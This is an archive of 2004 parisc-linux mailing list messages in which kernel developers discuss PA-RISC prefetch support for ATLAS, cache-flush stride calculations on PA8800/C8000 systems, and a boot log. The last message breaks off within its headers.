Cc: rwhaley@cs.utk.edu,
 parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13111 invoked by uid 65534); 14 Jun 2004 02:32:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx012) with SMTP; 14 Jun 2004 04:32:38 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 09F483BDF7; Sun, 13 Jun 2004 20:32:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12118-10; Sun, 13 Jun 2004 20:32:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9ACA53BDE8; Sun, 13 Jun 2004 20:32:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BD1A13BDE1
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 20:32:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 12118-06 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 20:32:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 8D5753BDDD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 13 Jun 2004 20:32:08 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i5E2W5Cp003077; Sun, 13 Jun 2004 22:32:06 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i5E2W5Bg003075;
	Sun, 13 Jun 2004 22:32:05 -0400 (EDT)
In-Reply-To: <20040613223358.GJ19250@tausq.org> from "Randolph Chung" at Jun
	13, 2004 03:33:58 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21731

> > Thanks for the pointers.  From the document, I was able to add prefetch support
> > for PA-RISC 2.0 to ATLAS's header file. 
> 
> Cool! Be aware that, if atlas relies on being able to prefetch invalid
> addresses and have that not fault, then it will only work on some PA 
> processors (mostly pa20) and not all of them.

Are you sure this doesn't apply to all pa20 processors?  See page 6-11
in PA-RISC 2.0 Architecture book.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: atlas3 on hppa: unexpected reloc type
Date: Mon, 14 Jun 2004 08:51:18 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20040614155118.GL19250@tausq.org>
References: <20040613223358.GJ19250@tausq.org>
	<200406140232.i5E2W5Bg003075@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623476 9964 80.91.229.3 (22 Nov 2014 02:31:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:16 +0000 (UTC)
Cc: rwhaley@cs.utk.edu,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 32640 invoked by uid 65534); 14 Jun 2004 15:52:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 14 Jun 2004 17:52:02 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D2C243BDF8; Mon, 14 Jun 2004 09:51:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21416-02; Mon, 14 Jun 2004 09:51:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1FCCD3BDFA; Mon, 14 Jun 2004 09:51:27 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B2E8B3BDF6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 09:51:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 20668-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 09:51:23 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 80A773BDF5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 09:51:23 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 94572CD29F; Mon, 14 Jun 2004 08:51:18 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200406140232.i5E2W5Bg003075@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21732

> > Cool! Be aware that, if atlas relies on being able to prefetch invalid
> > addresses and have that not fault, then it will only work on some PA 
> > processors (mostly pa20) and not all of them.
> 
> Are you sure this doesn't apply to all pa20 processors?  See page 6-11
> in PA-RISC 2.0 Architecture book.

It does work on all pa20 processors, afaik. Let me rephrase:

"Be aware that, if atlas relies on being able to prefetch invalid
addresses and have that not fault, then it will only work on some PA 
processors but not all of them. All pa20 processors should work.
pa11 processors will not."

We ran into this while trying to get PA7300LC to do prefetching in the
kernel.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800/ZX1 support committed to 2.6.7-rc2-pa2
Date: Mon, 14 Jun 2004 12:29:03 -0600
Lines: 151
Approved: news@gmane.org
Message-ID: <20040614182903.GA15866@colo.lackof.org>
References: <20040611055819.GA32005@colo.lackof.org>
	<008a01c45015$9205b780$f463f40f@jh733133>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623477 9966 80.91.229.3 (22 Nov 2014 02:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:17 +0000 (UTC)
Cc: 'James Bottomley' <James.Bottomley@steeleye.com>,
 'PARISC list' <parisc-linux@lists.parisc-linux.org>
To: Jim Hull <jim.hull@hp.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 18669 invoked by uid 65534); 14 Jun 2004 18:29:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx019) with SMTP; 14 Jun 2004 20:29:39 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2430E3BE00; Mon, 14 Jun 2004 12:29:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22883-01; Mon, 14 Jun 2004 12:29:35 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 297F93BE02; Mon, 14 Jun 2004 12:29:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3643C3BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 12:29:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22478-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 12:29:07 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C42C53BDF8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 12:29:06 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CF2C7298033; Mon, 14 Jun 2004 12:29:05 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 17462-03; Mon, 14 Jun 2004 12:29:03 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 41D6429802E; Mon, 14 Jun 2004 12:29:03 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <008a01c45015$9205b780$f463f40f@jh733133>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21733

On Fri, Jun 11, 2004 at 05:38:24PM -0700, Jim Hull wrote:
> PDC_CACHE returns parameters for both the architected FDCE loop and the
> architected FICE loop.  They are D_base, D_count, D_loop, and D_stride for the
> FDCE loop and I_base, I_count, I_loop, and I_stride for the FICE loop.
> 
> The PDC_CACHE description also contains a Programming Note which explain how
> you might use the values in the various bit-fields from two other returned
> parameters (D_conf and I_conf) to flush a range of addresses using FDC or FIC.
> Technically, these aren't "architected loops", they're just a suggestion.

ah ok. In general, I prefer to do whatever I know HPUX is doing.
Because architected or not, there is a precendence that works (even
if for the wrong reasons).

> I checked the Mako ERS; it clearly describes what parameters PDC must
> return in order for the flush loops to work.  The values you show match
> those in the ERS.

Ok - thanks for confirming.

> > 3) I'm not sure if loop=1 indicates 2-way associative or 
> > direct mapped.
> >    I expect direct mapped.  I need to re-read the docs.
> >    Maybe someone knows? jsm?
> 
> You should not think about the FDCE/FICE parameters as corresponding to any
> particular property of the given cache.  They are simply abstract values to
> plug into the architected flush loops in order to make them flush the whole
> cache.

Understood. I'm not so worried about the "flush whole cache" as the
"flush range" functions where I thought we do need to know the
cache properties.

> For example, since the Mako caches are all 4-way associative, you might
> think that the "loop" parameter(s) would be 4.  However, because of the
> design of the Mako FDCE and FICE instructions, executing with "loop" equal
> 4, and with "count" equal to 1/4 of its current value, would (sometimes)
> fail to flush the whole cache.

Ouch. Does that mean FDCE and FICE modify the L2 cache also?
Do FDC/FIC also affect the L2?

Someone was asserting it was not necessary to flush the L2 since the L2 is
a PIPT cache and would always be coherent. I don't really know but
that makes sense to me.

...
> > I noticed HPUX was calculating the stride differently than
> > parisc-linux. I didn't realize until later the difference
> > could be due to older/newer firmware versions and/or differences
> > in the "architected loop" initialization.
> 
> For FDC/FIC loops, the architecture was changed to handle machines with line
> sizes larger than 64 bytes (like Mako, where it's 128).  The correct equation,
> which will work on both new and old machines, is:
> 
>   stride = (1 << (block - 1)) * ((line * 16) << shift)

The above results in stride=128 on C8000 as well (output appended below).
I now have three variants to calculate stride:

#define CAFL_STRIDE(cnf) ((1 << (cnf.cc_block + 3)) * cnf.cc_line)
#define CAFL_STRIDE(cnf) (cnf.cc_block * (cnf.cc_line << (4 + cnf.cc_shift)))
#define CAFL_STRIDE(cnf) ((1 << (cnf.cc_block-1)) * (cnf.cc_line << (4 + cnf.cc_shift)))

1) original parisc-linux
2) "borrowed" from HPUX (i80_latest, maybe HPUX wants to use
   Jim Hull's suggestion as well?)
3) "New and Improved" :^)

> If the "4 + cnf.cc_shift" is trying to compute a stride, then this may be the
> source of the problem.  Try changing it as above.

I've tested stride of 32/64/128 and they all behave the same.
I'm skeptical stride is the cause of the problem.

So far, just once have I had problems booting with stride=128 and that
was with a suspect kernel (not built/linked clean).
In general, things work from the console (eg ssh foo, apt-get update,
apt-get upgrade, RC scripts, etc).

But sshd segfaults or get's illegal insn faults when trying to ssh
into the c8000. Seems like if it were an IO coherency problem, I'd see
more problems during boot time too...maybe there is something
related to non-zero spaceid.

Jim, do you know if Space Id hashing is disabled the same way
on PA8800 as for PA8500/8600/8700 CPUs?

Or maybe it's easier to verify in the Make ERSthe following is correct:
(See arch/parisc/kernel/pacache.S)
srdis_pa20:

	/* Disable Space Register Hashing for PCXU,PCXU+,PCXW,PCXW+ */

	.word           0x144008bc  /* mfdiag %dr2,%r28 */
	depdi           0,54,1,%r28 /* clear DIAG_SPHASH_ENAB (bit 54) */
	.word           0x145c1840  /* mtdiag %r28,%dr2 */


thanks,
grant

...
Command line for kernel: 'root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/pa8'
Selected kernel: HOME=/ from partition 0                                        
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 64-bit ke
Entry 00100000 first 00100000 n 3                                               
Segment 0 load 00100000 size 5013888 mediaptr 0x1000                            
Segment 1 load 005cc000 size 362512 mediaptr 0x4ca000                           
Segment 2 load 00628000 size 393349 mediaptr 0x523000                           
Branching to kernel entry point 0x00100000.  If this is the last                
message you see, you may need to switch your console.  This is                  
a common symptom -- search the FAQ and mailing list at parisc-linux.org         
                                                                                
Linux version 2.6.7-rc2-pa4 (grundler@gsyprf11.external.hp.com) (gcc version 3.4
FP[0] enabled: Rev 1 Model 20                                                   
The 64-bit Kernel has started...                                                
Determining PDC firmware type: 64 bit PAT.                                      
model 000088a0 00000491 00000000 00000002 d4936494c9f85489 100000f0 00000008 002
vers  00000301                                                                  
CPUID vers 20 rev 4 (0x00000284)                                                
capabilities 0x35                                                               
model 9000/785/C8000                                                            
ic_size 2000000 dc_size 2000000 it_size f0                                      
DC  base 0x0 stride 0x80 count 0x40000 loop 0x1                                 
dc_conf = 0x1882000  alias 0 blk 1 line 4 shift 1                               
        wt 0 sh 0 cst 1 assoc 0                                                 
IC  base 0x0 stride 0x80 count 0x40000 loop 0x1                                 
ic_conf = 0x1882000  alias 0 blk 1 line 4 shift 1                               
        wt 0 sh 0 cst 1 assoc 0                                                 
D-TLB conf: sh 3 page 1 cst 1 aid 0 pad1 0                                      
I-TLB conf: sh 3 page 1 cst 1 aid 3 pad1 0                                      
dcache_stride 128   icache_stride 128                                           
parisc_cache_init: Only equivalent aliasing supported!                          
Total Memory: 1024 Mb                                                           
On node 0 totalpages: 262144                                                    
  DMA zone: 262144 pages, LIFO batch:16                                         
  Normal zone: 0 pages, LIFO batch:1                                            
  HighMem zone: 0 pages, LIFO batch:1                                           
Built 1 zonelists                                                               
Kernel command line: root=/dev/nfs nfsroot=192.168.1.61:/home/tftpboot/pa8800 i/
PID hash table entries: 16 (order 4: 256 bytes)  
...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: atlas3 on hppa: unexpected reloc type
Date: Mon, 14 Jun 2004 22:06:17 +0100
Lines: 22
Approved: news@gmane.org
Message-ID: <20040614210617.GF20511@parcelfarce.linux.theplanet.co.uk>
References: <20040614205346.4B6031D377@nala.cs.utk.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623477 9969 80.91.229.3 (22 Nov 2014 02:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:17 +0000 (UTC)
Cc: tausq@debian.org,
 parisc-linux@lists.parisc-linux.org
To: R Clint Whaley <rwhaley@cs.utk.edu>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21800 invoked by uid 65534); 14 Jun 2004 21:06:54 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 14 Jun 2004 23:06:54 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 36B413BE20; Mon, 14 Jun 2004 15:06:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24461-05; Mon, 14 Jun 2004 15:06:45 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 83A183BE07; Mon, 14 Jun 2004 15:06:23 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA20D3BE02
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 15:06:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 24461-01 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 15:06:20 -0600 (MDT)
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by free.linux.hp.com (Postfix) with ESMTP id 615293BE00
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 15:06:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.33)
	id 1BZyen-0000jl-Jt; Mon, 14 Jun 2004 22:06:17 +0100
Content-Disposition: inline
In-Reply-To: <20040614205346.4B6031D377@nala.cs.utk.edu>
User-Agent: Mutt/1.4.1i
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21734

On Mon, Jun 14, 2004 at 04:53:46PM -0400, R Clint Whaley wrote:
> My understanding from the docs is that pa11 doesn't define any prefetch
> instructions, which means these formulations are loads to an invalid
> register, which, since they are loads and not prefetches, could have
> side effects (eg., seg fault).  Therefore, you need to use them only
> on pa20, even if they compile on pa11.  I take it this is what you are saying?

That's correct.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rwhaley@cs.utk.edu (R Clint Whaley)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: atlas3 on hppa: unexpected reloc type
Date: Mon, 14 Jun 2004 16:53:46 -0400 (EDT)
Lines: 26
Approved: news@gmane.org
Message-ID: <20040614205346.4B6031D377@nala.cs.utk.edu>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623477 9971 80.91.229.3 (22 Nov 2014 02:31:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:17 +0000 (UTC)
Cc: rwhaley@cs.utk.edu,
 parisc-linux@lists.parisc-linux.org
To: tausq@debian.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 21407 invoked by uid 65534); 14 Jun 2004 20:54:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx043) with SMTP; 14 Jun 2004 22:54:26 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 444673BE02; Mon, 14 Jun 2004 14:54:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23762-09; Mon, 14 Jun 2004 14:54:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7A31C3BE04; Mon, 14 Jun 2004 14:53:54 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 968563BE00
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 14:53:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 23762-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 14:53:50 -0600 (MDT)
Original-Received: from smtp.cs.utk.edu (klutz.cs.utk.edu [160.36.56.50])
	by free.linux.hp.com (Postfix) with ESMTP id 6F8143BDFD
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 14 Jun 2004 14:53:50 -0600 (MDT)
Original-Received: from localhost (klutz [127.0.0.1])
	by smtp.cs.utk.edu (Postfix) with ESMTP
	id E200EAFE32; Mon, 14 Jun 2004 16:53:48 -0400 (EDT)
Original-Received: from smtp.cs.utk.edu ([127.0.0.1])
	by localhost (klutz [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29975-06; Mon, 14 Jun 2004 16:53:47 -0400 (EDT)
Original-Received: from nala.cs.utk.edu (nala.cs.utk.edu [160.36.58.106])
	by smtp.cs.utk.edu (Postfix) with ESMTP
	id 7FE72AFCE1; Mon, 14 Jun 2004 16:53:47 -0400 (EDT)
Original-Received: by nala.cs.utk.edu (Postfix, from userid 456)
	id 4B6031D377; Mon, 14 Jun 2004 16:53:46 -0400 (EDT)
X-Virus-Scanned: by amavisd-new and ClamAV at cs.utk.edu
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
